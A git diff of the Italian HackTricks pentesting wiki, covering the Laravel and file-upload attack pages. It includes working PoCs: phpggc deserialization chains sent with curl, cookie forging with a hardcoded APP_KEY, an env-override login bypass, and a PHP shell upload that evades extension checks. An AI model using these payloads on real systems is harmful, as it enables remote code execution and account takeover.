funzionalità avanzate come l'avvio on-demand dei daemon, la gestione degli automount e gli snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e in `/etc/systemd/system/` per le modifiche dell'amministratore, semplificando il processo di amministrazione del sistema. -## Other Tricks +## Altri trucchi ### NFS Privilege escalation @@ -1423,25 +1449,25 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -I framework di rooting Android comunemente hookano una syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Una debole autenticazione del manager (ad es., controlli di signature basati su FD-order o schemi di password scadenti) può permettere a un'app locale di impersonare il manager e escalare a root su dispositivi già root. Maggiori dettagli ed informazioni sull'exploit sono disponibili qui: +I framework di rooting Android comunemente hookano una syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Una debole autenticazione del manager (ad esempio, signature checks basate su FD-order o schemi di password poveri) può permettere a un'app locale di impersonare il manager e ottenere l'escalation a root su dispositivi già rootati. Per saperne di più e dettagli sull'exploitation vedi: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## Protezioni di sicurezza del kernel - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Altro aiuto +## Ulteriore aiuto [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Tools +## Strumenti Linux/Unix Privesc -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Miglior strumento per cercare Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1474,6 +1500,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) -- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) +- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) +- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 529117ce9..26d1ef501 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -4,13 +4,13 @@ ### Laravel SQLInjection -Leggi informazioni al riguardo qui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +Leggi informazioni a riguardo qui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- -## APP_KEY & Interni di crittografia (Laravel \u003e=5.6) +## APP_KEY e struttura interna della crittografia (Laravel >=5.6) -Laravel utilizza AES-256-CBC (o GCM) con integrità HMAC sotto il cofano (`Illuminate\\Encryption\\Encrypter`). +Laravel usa AES-256-CBC (o GCM) con integrità HMAC sotto il cofano (`Illuminate\\Encryption\\Encrypter`). Il testo cifrato grezzo che viene infine **inviato al client** è **Base64 di un oggetto JSON** come: ```json { @@ -20,7 +20,9 @@ Il testo cifrato grezzo che viene infine **inviato al client** è **Base64 di un "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` eseguirà `serialize()` il testo in chiaro per impostazione predefinita, mentre `decrypt($payload, $unserialize=true)` **eseguirà automaticamente `unserialize()`** il valore decrittografato. Pertanto **qualsiasi attaccante che conosce la chiave segreta di 32 byte `APP_KEY` può creare un oggetto PHP serializzato crittografato e ottenere RCE tramite metodi magici (`__wakeup`, `__destruct`, …)**. +`encrypt($value, $serialize=true)` serializza il plaintext per impostazione predefinita, whereas +`decrypt($payload, $unserialize=true)` **eseguirà automaticamente `unserialize()`** sul valore decifrato. +Pertanto **qualsiasi attacker che conosca il secret di 32 byte `APP_KEY` può creare un oggetto PHP serializzato cifrato e ottenere RCE tramite i magic methods (`__wakeup`, `__destruct`, …)**. Minimal PoC (framework ≥9.x): ```php @@ -29,7 +31,7 @@ use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -Injecta la stringa prodotta in qualsiasi sink vulnerabile `decrypt()` (parametro di route, cookie, sessione, …). +Inietta la stringa prodotta in qualsiasi sink `decrypt()` vulnerabile (route param, cookie, session, …). --- @@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -Lo script supporta in modo trasparente sia i payload CBC che GCM e rigenera il campo HMAC/tag. +Lo script supporta in modo trasparente sia payload CBC che GCM e rigenera il campo HMAC/tag. --- -## Modelli vulnerabili nel mondo reale +## Pattern vulnerabili nel mondo reale -| Progetto | Sink vulnerabile | Catena di gadget | +| Progetto | Sink vulnerabile | Gadget chain | |---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` è abilitato | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie quando `Passport::withCookieSerialization()` è abilitato | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | -Il flusso di sfruttamento è sempre: -1. Ottenere o forzare il `APP_KEY` di 32 byte. -2. Costruire una catena di gadget con **PHPGGC** (ad esempio `Laravel/RCE13`, `Laravel/RCE9` o `Laravel/RCE15`). -3. Cifrare il gadget serializzato con **laravel_crypto_killer.py** e il `APP_KEY` recuperato. -4. Consegnare il ciphertext al sink vulnerabile `decrypt()` (parametro di route, cookie, sessione …) per attivare **RCE**. +Il workflow di exploitation è sempre: +1. Ottenere o brute-force la `APP_KEY` di 32 byte. +2. Creare una gadget chain con **PHPGGC** (ad esempio `Laravel/RCE13`, `Laravel/RCE9` o `Laravel/RCE15`). +3. Cifrare il gadget serializzato con **laravel_crypto_killer.py** e la `APP_KEY` recuperata. +4. Consegnare il ciphertext al sink `decrypt()` vulnerabile (route parameter, cookie, session …) per attivare **RCE**. -Di seguito ci sono frasi concise che dimostrano il percorso completo dell'attacco per ciascun CVE reale menzionato sopra: +Di seguito sono riportati one-liners concisi che dimostrano l'intero percorso d'attacco per ciascun CVE reale menzionato sopra: ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -80,39 +82,82 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` +## Mass APP_KEY discovery via cookie brute-force + +Perché ogni risposta Laravel fresca imposta almeno 1 cookie crittografato (`XSRF-TOKEN` and usually `laravel_session`), **scanner pubblici Internet (Shodan, Censys, …) leak milioni di testi cifrati** che possono essere attaccati offline. + +Key findings of the research published by Synacktiv (2024-2025): +* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) +* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** +* >1 000 server ancora vulnerabili al legacy CVE-2018-15133 perché i tokens contengono direttamente dati serializzati. +* Ampio riuso di chiavi – le Top-10 APP_KEYs sono default hard-coded fornite con template commerciali Laravel (UltimatePOS, Invoice Ninja, XPanel, …). + +Lo strumento Go privato **nounours** spinge il throughput di AES-CBC/GCM bruteforce a ~1.5 billion tries/s, riducendo il cracking dell'intero dataset a <2 minuti. + + +## CVE-2024-52301 – HTTP argv/env override → auth bypass + +Quando PHP ha `register_argc_argv=On` (tipico in molte distro), PHP espone un array `argv` per le richieste HTTP derivato dalla query string. Versioni recenti di Laravel parseavano questi argomenti “CLI-like” e rispettavano `--env=` a runtime. Questo permette di cambiare l'ambiente del framework per la richiesta HTTP corrente semplicemente aggiungendolo a qualsiasi URL: + +- Quick check: +- Visita `https://target/?--env=local` o qualsiasi stringa e cerca cambiamenti dipendenti dall'ambiente (banner di debug, footer, errori dettagliati). Se la stringa è riflessa, l'override sta funzionando. + +- Impact example (business logic trusting a special env): +- Se l'app contiene rami tipo `if (app()->environment('preprod')) { /* bypass auth */ }`, puoi autenticarti senza credenziali valide inviando il POST di login a: +- `POST /login?--env=preprod` + +- Notes: +- Funziona per richiesta, senza persistenza. +- Richiede `register_argc_argv=On` e una versione vulnerabile di Laravel che legge argv per HTTP. +- Primitiva utile per far emergere errori più verbosi in env “debug” o per attivare percorsi di codice condizionati dall'ambiente. + +- Mitigations: +- Disabilitare `register_argc_argv` per PHP-FPM/Apache. +- Aggiornare Laravel per ignorare argv sulle richieste HTTP e rimuovere qualsiasi assunzione di fiducia legata a `app()->environment()` nelle route di produzione. + +Minimal exploitation flow (Burp): +```http +POST /login?--env=preprod HTTP/1.1 +Host: target +Content-Type: application/x-www-form-urlencoded +... +email=a@b.c&password=whatever&remember=0xdf +``` --- -## Scoperta di APP_KEY massiva tramite brute-force dei cookie - -Poiché ogni risposta fresca di Laravel imposta almeno 1 cookie crittografato (`XSRF-TOKEN` e di solito `laravel_session`), **scanner pubblici di internet (Shodan, Censys, …) rilasciano milioni di testi cifrati** che possono essere attaccati offline. - -Risultati chiave della ricerca pubblicata da Synacktiv (2024-2025): -* Dataset luglio 2024 » 580 k token, **3.99 % chiavi decifrate** (≈23 k) -* Dataset maggio 2025 » 625 k token, **3.56 % chiavi decifrate** -* >1 000 server ancora vulnerabili a CVE-2018-15133 legacy perché i token contengono direttamente dati serializzati. -* Grande riutilizzo delle chiavi – le prime 10 APP_KEY sono valori predefiniti hard-coded forniti con modelli commerciali di Laravel (UltimatePOS, Invoice Ninja, XPanel, …). - -Il tool privato Go **nounours** spinge il throughput di brute-force AES-CBC/GCM a ~1.5 miliardi di tentativi/s, riducendo la decifratura dell'intero dataset a <2 minuti. - - -## Trucchi di Laravel +## Trucchi Laravel ### Modalità di debug -Se Laravel è in **modalità di debug** sarai in grado di accedere al **codice** e ai **dati sensibili**.\ +Se Laravel è in **modalità di debug** potrai accedere al **codice** e ai **dati sensibili**.\ Ad esempio `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Questo è solitamente necessario per sfruttare altre CVE RCE di Laravel. +Questo è solitamente necessario per sfruttare altre RCE/CVE relative a Laravel. +### Fingerprinting & endpoint dev esposti + +Controlli rapidi per identificare uno stack Laravel e strumenti dev pericolosi esposti in produzione: + +- `/_ignition/health-check` → Ignition presente (debug tool usato per CVE-2021-3129). Se raggiungibile senza autenticazione, l'app potrebbe essere in modalità di debug o mal configurata. +- `/_debugbar` → asset di Laravel Debugbar; spesso indica la modalità di debug. +- `/telescope` → Laravel Telescope (dev monitor). Se pubblico, aspettati ampia divulgazione di informazioni e possibili azioni. +- `/horizon` → dashboard delle code; divulgazione della versione e talvolta azioni protette da CSRF. +- `X-Powered-By`, cookie `XSRF-TOKEN` e `laravel_session`, e le pagine di errore Blade aiutano anche nel fingerprinting. +```bash +# Nuclei quick probe +nuclei -nt -u https://target -tags laravel -rl 30 +# Manual spot checks +for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done +``` ### .env -Laravel salva l'APP che utilizza per crittografare i cookie e altre credenziali all'interno di un file chiamato `.env` che può essere accessibile utilizzando un po' di path traversal sotto: `/../.env` +Laravel salva l'APP che usa per crittografare i cookies e altre credenziali in un file chiamato `.env` che può essere accessibile tramite un path traversal: `/../.env` -Laravel mostrerà anche queste informazioni all'interno della pagina di debug (che appare quando Laravel trova un errore ed è attivata). +Laravel mostrerà anche queste informazioni nella pagina di debug (che appare quando Laravel riscontra un errore e il debug è attivato). -Utilizzando la chiave segreta APP_KEY di Laravel puoi decrittografare e ri-crittografare i cookie: +Usando la APP_KEY segreta di Laravel puoi decifrare e ricrittografare i cookies: ### Decrypt Cookie ```python @@ -169,30 +214,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) -decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') -#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' -encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') +decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') +#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' +encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}') ``` ### Laravel Deserialization RCE -Versioni vulnerabili: 5.5.40 e 5.6.x fino a 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +Versioni vulnerabili: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -Qui puoi trovare informazioni sulla vulnerabilità di deserializzazione: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +Qui puoi trovare informazioni sulla vulnerabilità di deserialization: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -Puoi testarla e sfruttarla usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +Puoi testarla ed exploitare usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ Oppure puoi anche sfruttarla con metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -Un'altra deserializzazione: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +Un'altra deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) ## Riferimenti -* [Laravel: analisi della fuga di APP_KEY (IT)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) +* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301) +* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 032e3da4f..ca22dad3b 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -2,12 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -## Metodologia generale per il File Upload +## Metodologia generale per il caricamento file Altre estensioni utili: -- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ +- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, .phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ +- **Lavorare con PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ @@ -15,13 +15,13 @@ Altre estensioni utili: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Bypass dei controlli sulle estensioni dei file +### Bypass dei controlli delle estensioni dei file -1. Se applicabile, **controlla** le **estensioni precedenti.** Testale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._ -2. _Controlla **aggiungendo una estensione valida prima** dell'estensione eseguibile (usa anche le estensioni precedenti):_ +1. Se vengono applicati, **controlla** le **estensioni precedenti.** Testale anche usando alcune **lettere MAIUSCOLE**: _pHp, .pHP5, .PhAr ..._ +2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (usa anche le estensioni precedenti):_ - _file.png.php_ - _file.png.Php5_ -3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforce** di tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** **precedentemente** menzionate_) +3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per fare **bruteforce** su tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** **precedentemente** menzionate_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Altre estensioni utili: - _file._ - _file.php...._ - _file.pHp5...._ -4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come il **raddoppio** dell'**estensione** o **aggiungendo dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._ +4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come il **raddoppio** dell'**estensione** o l'**inserimento di dati di junk** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,18 +40,18 @@ Altre estensioni utili: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Aggiungi **un ulteriore livello di estensioni** ai controlli precedenti: +5. Aggiungi **un altro livello di estensioni** al controllo precedente: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Prova a mettere l'**estensione eseguibile prima** della estensione valida e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni Apache dove qualsiasi cosa con estensione **.php**, ma **non necessariamente terminante in .php**, eseguirà codice): +6. Prova a mettere l'**estensione eseguibile prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni di Apache dove qualsiasi cosa con estensione **.php**, anche se non termina in .php, eseguirà il codice): - _ex: file.php.png_ -7. Usare gli **NTFS alternate data stream (ADS)** su **Windows**. In questo caso verrà inserito il carattere due punti ":" dopo un'estensione proibita e prima di una permessa. Di conseguenza verrà creato sul server un **file vuoto con l'estensione proibita** (es. "file.asax:.jpg”). Questo file potrebbe essere modificato più tardi usando altre tecniche come il suo short filename. Il pattern "**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern può essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.”) -8. Prova a superare i limiti di lunghezza del nome file. L'estensione valida viene troncata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php +7. Uso degli **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti ":" verrà inserito dopo un'estensione proibita e prima di una permessa. Di conseguenza, un **file vuoto con l'estensione proibita** sarà creato sul server (es. "file.asax:.jpg"). Questo file potrebbe essere modificato successivamente usando altre tecniche come il suo short filename. Il pattern "**::$data**" può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern può essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.") +8. Prova a superare i limiti del nome file. L'estensione valida viene troncata. E rimane il PHP malevolo. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png # Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -59,46 +59,76 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Bypass Content-Type, Magic Number, Compression & Resizing +#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -- Bypass dei controlli **Content-Type** impostando il **valore** dell'header **Content-Type** a: _image/png_ , _text/plain , application/octet-stream_ +Alcuni upload handler rimuovono o normalizzano i punti finali dal nome file salvato. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) nelle versioni precedenti alla 2.9.1, puoi bypassare la validazione dell'estensione mediante: + +- Usare un MIME immagine valido e l'header magic (e.g., PNG’s `\x89PNG\r\n\x1a\n`). +- Nominare il file caricato con un'estensione PHP seguita da un punto, e.g., `shell.php.`. +- Il server rimuove il punto finale e salva `shell.php`, che verrà eseguito se posizionato in una directory servita dal web (default public storage come `/storage/files/`). + +PoC minimale (Burp Repeater): +```http +POST /profile/avatar HTTP/1.1 +Host: target +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary + +------WebKitFormBoundary +Content-Disposition: form-data; name="upload"; filename="0xdf.php." +Content-Type: image/png + +\x89PNG\r\n\x1a\n +------WebKitFormBoundary-- +``` +Poi accedi al percorso salvato (tipico in Laravel + LFM): +``` 